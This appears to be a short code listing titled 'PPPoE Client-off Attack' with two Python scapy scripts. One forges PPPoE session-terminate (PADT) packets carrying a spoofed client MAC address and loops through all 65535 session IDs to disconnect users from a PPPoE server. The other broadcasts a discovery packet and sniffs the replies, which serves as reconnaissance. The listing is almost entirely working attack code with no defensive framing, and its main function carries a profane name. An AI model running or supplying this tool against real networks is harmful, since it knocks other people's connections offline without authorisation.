PPPoE Client-off Attack

padt.py

import sys
from scapy.all import *

# server_mac = 'e4:35:c8:81:04:89'


def fuck_it(iface: str, server_mac: str, client_mac: str, session_id: int):
    print(
        f'iface: {iface}, server_mac: {server_mac}, client_mac: {client_mac}, session_id: {session_id}')
    p = Ether()/PPPoE()
    p.dst = server_mac
    p.src = client_mac
    p.type = 0x8863
    p.payload.code = 0xa7
    p.payload.sessionid = session_id
    p.payload.len = 0
    sendp(p, iface=iface, verbose=False)


def main():
    args = sys.argv
    if len(args) < 4:
        print(f'Usage: {args[0]} interface server_mac client_mac <session_id>')
        sys.exit(0)

    iface, s_mac, c_mac = args[1:4]

    session_id = 0
    if len(args) == 5:
        session_id = int(args[4])

    if session_id > 0:
        fuck_it(iface, s_mac, c_mac, session_id)

    else:
        for i in range(65535):
            fuck_it(iface, s_mac, c_mac, i)


if __name__ == '__main__':
    main()

pppoe.py

from scapy.all import *
from struct import *
import threading


def packet(code=0x09, len=12, macadd='ff:ff:ff:ff:ff:ff'):
    a = Ether()/PPPoE()/Raw()
    a.dst = macadd
    a.type = 0x8863
    a.payload.version = 1
    a.payload.type = 1
    a.payload.code = code
    a.payload.len = len
    a.payload.payload.load = pack(
        "12B", 0x01, 0x01, 0, 0, 0x01, 0x03, 0, 0x04, 0x25, 0x1d, 0, 0)
    return a


def sniffPPPoE():
    c = sniff(filter='pppoed', count=2)
    for i in c:
        i.show()


t = threading.Thread(target=sniffPPPoE)

if __name__ == '__main__':
    t.start()
    time.sleep(1)
    sendp(packet(code=0x09))